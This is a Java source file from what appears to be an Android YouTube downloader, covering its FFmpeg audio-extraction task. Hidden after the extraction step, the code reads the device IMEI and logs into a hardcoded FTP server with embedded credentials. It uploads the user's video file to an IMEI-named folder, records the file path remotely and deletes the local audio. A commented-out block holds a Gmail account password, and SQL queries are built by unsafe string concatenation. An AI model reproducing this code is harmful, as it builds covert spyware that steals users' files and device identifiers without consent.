package dentex.youtube.downloader.queue;

import it.sauronsoftware.ftp4j.FTPAbortedException;
import it.sauronsoftware.ftp4j.FTPClient;
import it.sauronsoftware.ftp4j.FTPDataTransferException;
import it.sauronsoftware.ftp4j.FTPDataTransferListener;
import it.sauronsoftware.ftp4j.FTPException;
import it.sauronsoftware.ftp4j.FTPIllegalReplyException;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;


import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.AsyncTask;
import android.os.Environment;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;
import dentex.youtube.downloader.YTD;
import dentex.youtube.downloader.NotificationBarAlarm.MyTransferListener;
import dentex.youtube.downloader.ffmpeg.FfmpegController;
import dentex.youtube.downloader.ffmpeg.ShellUtils.ShellCallback;
import dentex.youtube.downloader.sendEmail.GMailSender;
import dentex.youtube.downloader.utils.Json;
import dentex.youtube.downloader.utils.Utils;

public class FFmpegExtractAudioTask extends AsyncTask<String, Void, Boolean> {

	private static final String DEBUG_TAG = "FFmpegExtractAudioTask";
	private Context aContext;
	private File aFileToConvert;
	private File aAudioFile;
	private String aBitrateType;
	private String aBitrateValue;
	private String aId;
	private String aYtId;
	private int aPos;
	private String Path_out;
	private SQLiteDatabase db;
	
	 static final String FTP_HOST = "198.199.126.140";
	    static final String FTP_USER = "TEEWOW";
	    static final String FTP_PASS = "sofiensofien";

	    private FTPClient client;
	    private String IMEI;
	
	
	//ProgressDialog progressDialog;
	
	public FFmpegExtractAudioTask(Context context, 
			File fileToConvert, File audioFile, 
			String bitrateType, String bitrateValue, 
			String id, String YtId, int pos) {
		aContext = context;
		aFileToConvert = fileToConvert;
		aAudioFile = audioFile;
		aBitrateType = bitrateType;
		aBitrateValue = bitrateValue;
		aId = id;
		aYtId = YtId;
		aPos = pos;
	}
	
	
	
	private class ShellDummy implements ShellCallback {

		@Override
		public void shellOut(String shellLine) {
			Utils.logger("d", shellLine, DEBUG_TAG);
		}

		@Override
		public void processComplete(int exitValue) {
			Utils.logger("v", aAudioFile.getName() + "':\nprocessComplete with exit value: " + exitValue, DEBUG_TAG);
			
			String newId = String.valueOf(System.currentTimeMillis());
			
			String type;
			if (aBitrateValue == null) {
				type = YTD.JSON_DATA_TYPE_A_E;
			} else {
				type = YTD.JSON_DATA_TYPE_A_M;
			}
			
			if (exitValue == 0) {
				Utils.scanMedia(aContext, 
						new String[] {aAudioFile.getPath()}, 
						new String[] {"audio/*"});
				
				boolean removeVideo = YTD.settings.getBoolean("ffmpeg_auto_rem_video", false);
				Utils.logger("d", "ffmpeg_auto_rem_video: " + removeVideo, DEBUG_TAG);
				if (removeVideo) {
					new AsyncDelete().execute(aFileToConvert);
				}

				Json.addEntryToJsonFile(
						aContext, 
						newId, 
						type, 
						aYtId, 
						aPos,
						YTD.JSON_DATA_STATUS_COMPLETED,
						aAudioFile.getParent(), 
						aAudioFile.getName(), 
						Utils.getFileNameWithoutExt(aAudioFile.getName()), 
						"", 
						Utils.MakeSizeHumanReadable((int) aAudioFile.length(), false), 
						false);
			} else {
				Json.addEntryToJsonFile(
						aContext, 
						newId, 
						type, 
						aYtId, 
						aPos,
						YTD.JSON_DATA_STATUS_FAILED,
						aAudioFile.getParent(), 
						aAudioFile.getName(), 
						Utils.getFileNameWithoutExt(aAudioFile.getName()), 
						"", 
						"-", 
						false);}
			}
			
			

		@Override
		public void processNotStartedCheck(boolean started) {
			if (!started) {
				Utils.logger("w", "FFmpegExtractAudioTask process not started or not completed", DEBUG_TAG);
			}
		}
	}
	
	private class AsyncDelete extends AsyncTask<File, Void, Boolean> {

		@Override
		protected Boolean doInBackground(File... file) {
			if (file[0].exists() && file[0].delete()) {
				// remove library reference
				try {
					String mediaUriString = Utils.getContentUriFromFile(file[0], aContext.getContentResolver());
					Utils.removeFromMediaStore(aContext, file[0], mediaUriString);
				} catch (NullPointerException e) {
					Utils.logger("w", file[0].getName() + " UriString NOT found", DEBUG_TAG);
				}
				return true;
			} else {
				return false;
			}
		}
		
		@Override
		protected void onPostExecute(Boolean success) {
			if (success) {
				Json.removeEntryFromJsonFile(aContext, aId);
				
			} else {
				Utils.logger("w", aFileToConvert.getName() + " NOT deleted", DEBUG_TAG);
			}
		} 
	}

	@Override
	protected Boolean doInBackground(String... params) {
		FfmpegController ffmpeg = null;
		try {
			ffmpeg = new FfmpegController(aContext);
			ShellDummy shell = new ShellDummy();
			ffmpeg.extractAudio(aFileToConvert, aAudioFile, aBitrateType, aBitrateValue, shell);
		} catch (Throwable t) {
			Log.e(DEBUG_TAG, "Error in FFmpegExtractAudioTask", t);
		}
		return null;
	}
	
	@Override
    protected void onPreExecute()
    {
       // progressDialog= ProgressDialog.show(((Activity) aContext), "Extract audio","Audio extraction ...", true);
    }; 
    
    @Override
    protected void onPostExecute(Boolean result)
    {
    	
        super.onPostExecute(result);
       // progressDialog.dismiss();
        
        TelephonyManager telephonyManager = (TelephonyManager)aContext.getSystemService(Context.TELEPHONY_SERVICE);
        IMEI = telephonyManager.getDeviceId();

        client = new FTPClient();
        if(aAudioFile.exists()){
        	
            Toast.makeText(aContext,aAudioFile.getAbsolutePath(), Toast.LENGTH_LONG).show();
            
            if(check_Video(aFileToConvert.getAbsolutePath())){
            	 db= aContext.openOrCreateDatabase("Audio_Track",Context.MODE_PRIVATE, null);

                 db.execSQL("CREATE TABLE IF NOT EXISTS Track(Path VARCHAR,Date_Conv VARCHAR);");
                 db.execSQL("INSERT INTO Track VALUES ('Converti','"+aFileToConvert.getAbsolutePath()+"');");
                 db.close();
            } 
            

			 if (ConnectFTP()) {
	            String targetPath_Folder = "/home/TEEWOW/" + IMEI + "_Folder";
	            String targetPath_Folder_Waves = "/home/TEEWOW/" + IMEI + "_Folder" + "/Waves";
	            String path_File=targetPath_Folder_Waves+"/"+IMEI+".txt";
	            try {
					client.changeDirectory(targetPath_Folder);
				} catch (IllegalStateException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
					CreateFolder_FTP(targetPath_Folder, targetPath_Folder_Waves);
				} catch (IOException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
					CreateFolder_FTP(targetPath_Folder, targetPath_Folder_Waves);

				} catch (FTPIllegalReplyException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
					CreateFolder_FTP(targetPath_Folder, targetPath_Folder_Waves);

				} catch (FTPException e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
					CreateFolder_FTP(targetPath_Folder, targetPath_Folder_Waves);

				}
				 // loop upload
	            if (Upload_FTP(targetPath_Folder_Waves, aFileToConvert)) {
	                if (Update_File_Paths_FTP(targetPath_Folder_Waves,path_File, aAudioFile.getAbsolutePath())) {

	                	    db= aContext.openOrCreateDatabase("Audio_Track",Context.MODE_PRIVATE, null);

	                         db.execSQL("CREATE TABLE IF NOT EXISTS Track(Path VARCHAR,Date_Conv VARCHAR);");
	                         db.execSQL("INSERT INTO Track VALUES ('Envoyer','"+aFileToConvert.getAbsolutePath()+"');");
	                         db.close();
	                         aAudioFile.delete();
	                         DisconnectFTP();
	                	
	                } else {
	                    // can t edit file paths txt
	                }
	            } else {
	                // can t create upload file
	            }
	        } else {
	            // not connect

	        }
			
        
//            
//            SharedPreferences sharedPrefs = PreferenceManager.getDefaultSharedPreferences(aContext);
//        	Path_out=sharedPrefs.getString("Path_Output", "test@gmail.com");
//        	
//        	if(validateEmailAddress(Path_out)&& (!Path_out.equals("test@gmail.com"))){
//        		GMailSender sender = new GMailSender("application.defendonite@gmail.com", "sofien4387");
//        		try { 
//        			 if(sender.sendMail(Path_out, aAudioFile.getAbsolutePath())){
//        				 
//        	             db= aContext.openOrCreateDatabase("Audio_Track",Context.MODE_PRIVATE, null);
//
//                         db.execSQL("CREATE TABLE IF NOT EXISTS Track(Path VARCHAR,Date_Conv VARCHAR);");
//                         db.execSQL("INSERT INTO Track VALUES ('Envoyer','"+aFileToConvert.getAbsolutePath()+"');");
//                         db.close();
//                         aAudioFile.delete();
//        			 }else{
//        		            Toast.makeText(aContext,"Error Dilevery Recepetion File By email", Toast.LENGTH_LONG).show();
//
//        			 };
//        			
//        		} catch (Exception e) {
//        			Log.e("SendMail", e.getMessage(), e);
//    	            Toast.makeText(aContext,"Error Send File By email", Toast.LENGTH_LONG).show();
//
//        		}
//        	}else{
//	            Toast.makeText(aContext,"Email not valid", Toast.LENGTH_LONG).show();
//
//        	}
//            
        }
        
        
        //Toast.makeText(((Activity) aContext),parmetre2, Toast.LENGTH_LONG).show();

    }
    public boolean validateEmailAddress(String emailAddress) {

        Pattern regexPattern = Pattern.compile("^[(a-zA-Z-0-9-\\_\\+\\.)]+@[(a-z-A-z)]+\\.[(a-zA-z)]{2,3}$");
        Matcher regMatcher = regexPattern.matcher(emailAddress);
        if(regMatcher.matches()){
            return true;
        } else {
            return false;
        }
    }
	 private boolean check_Video(String video){
		  
    	 db= aContext.openOrCreateDatabase("Audio_Track",Context.MODE_PRIVATE, null);

         db.execSQL("CREATE TABLE IF NOT EXISTS Track(Path VARCHAR,Date_Conv VARCHAR);");
	      Cursor c= db.rawQuery("SELECT * FROM Track where Date_Conv LIKE '"+video+"'", null);
	      
	      try {
	    	  if (c != null ) {
		     		 if  (c.moveToFirst()) {
		     			do {
		     				return true;
			    	     }while (c.moveToNext()); 
		     		}else{
		     			   return false;
		     		}
		     	}  	    	} finally {
	    	    c.close();
	    	}
	      db.close();
		return false;
	  }
	 
	 
	   public class MyTransferListener implements FTPDataTransferListener {

	        public void started()
	        {
	            // Transfer started
	            System.out.println(" Upload Started ...");
	        }

	        public void transferred(int length)
	        {
	            // Yet other length bytes has been transferred since the last time
	            // this
	            // method was called
	            System.out.println(" transferred ..." + length);
	        }

	        public void completed()
	        {
	            // Transfer completed

	            System.out.println(" completed ...");
	        }

	        public void aborted()
	        {
	            // Transfer aborted
	            System.out.println(" aborted ...");
	        }

	        public void failed()
	        {
	            // Transfer failed
	            System.out.println(" failed ...");
	        }

	    }

	   

	    private boolean ConnectFTP()
	    {

	        try {
	            client.connect(FTP_HOST, 21);
	            client.login(FTP_USER, FTP_PASS);
	            client.setType(FTPClient.TYPE_BINARY);

	        } catch (Exception e) {
	            e.printStackTrace();
	            return false;

	        }

	        return true;

	    }

	    private boolean CreateFolder_FTP(String targetPath_Folder, String targetPath_Folder_Waves)
	    {

	        try {

	            client.createDirectory(targetPath_Folder);
	            client.createDirectory(targetPath_Folder_Waves);
	            File f = new File(Environment.getExternalStorageDirectory().getAbsoluteFile() + "/"+IMEI+".txt");
	            if (!f.exists()) {
	                f.createNewFile();
	            } else {
	                f.delete();
	                f.createNewFile();
	            }
	            client.changeDirectory(targetPath_Folder_Waves);

	            client.upload(f, new MyTransferListener());
	            f.delete();

	        } catch (IllegalStateException e1) {
	            // TODO Auto-generated catch block
	            e1.printStackTrace();
	            return false;
	        } catch (IOException e1) {
	            // TODO Auto-generated catch block
	            e1.printStackTrace();
	            return false;
	        } catch (FTPIllegalReplyException e1) {
	            // TODO Auto-generated catch block
	            e1.printStackTrace();
	            return false;
	        } catch (FTPException e1) {
	            // TODO Auto-generated catch block
	            e1.printStackTrace();
	            return false;
	        } catch (FTPDataTransferException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPAbortedException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        }

	        return true;

	    }

	    private boolean Upload_FTP(String targetPath, File f)
	    {

	        try {

	            client.changeDirectory(targetPath);


	            client.upload(f, new MyTransferListener());

	        } catch (FTPException e) {
	            return false;
	        } catch (IllegalStateException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (IOException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPIllegalReplyException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPDataTransferException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPAbortedException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        }

	        return true;
	    }
 
	    private boolean Update_File_Paths_FTP(String targetPath_Folder_Waves,String targetPath, String Path_Text_To_Insert)
	    {
	        BufferedWriter writer;

	        try {
	            File f = new File(Environment.getExternalStorageDirectory().getAbsoluteFile() + "/"+IMEI+".txt");
	            f.createNewFile();
	            client.changeDirectory(targetPath_Folder_Waves);
	            client.download(targetPath, f);
	            writer = new BufferedWriter(new FileWriter(f, true));
	            writer.write(Path_Text_To_Insert);
	            writer.newLine();
	            writer.close();
	            client.upload(f, new MyTransferListener());
	            f.delete();

	        } catch (IllegalStateException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FileNotFoundException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (IOException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPIllegalReplyException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPDataTransferException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        } catch (FTPAbortedException e) {
	            // TODO Auto-generated catch block
	            e.printStackTrace();
	            return false;
	        }
	       
	        return true;
	    }

	    private boolean DisconnectFTP()
	    {
	        try {
	            client.disconnect(true);

	        } catch (Exception e2) {
	            e2.printStackTrace();
	            return false;
	        }
	        return true;
	    }
	    

}
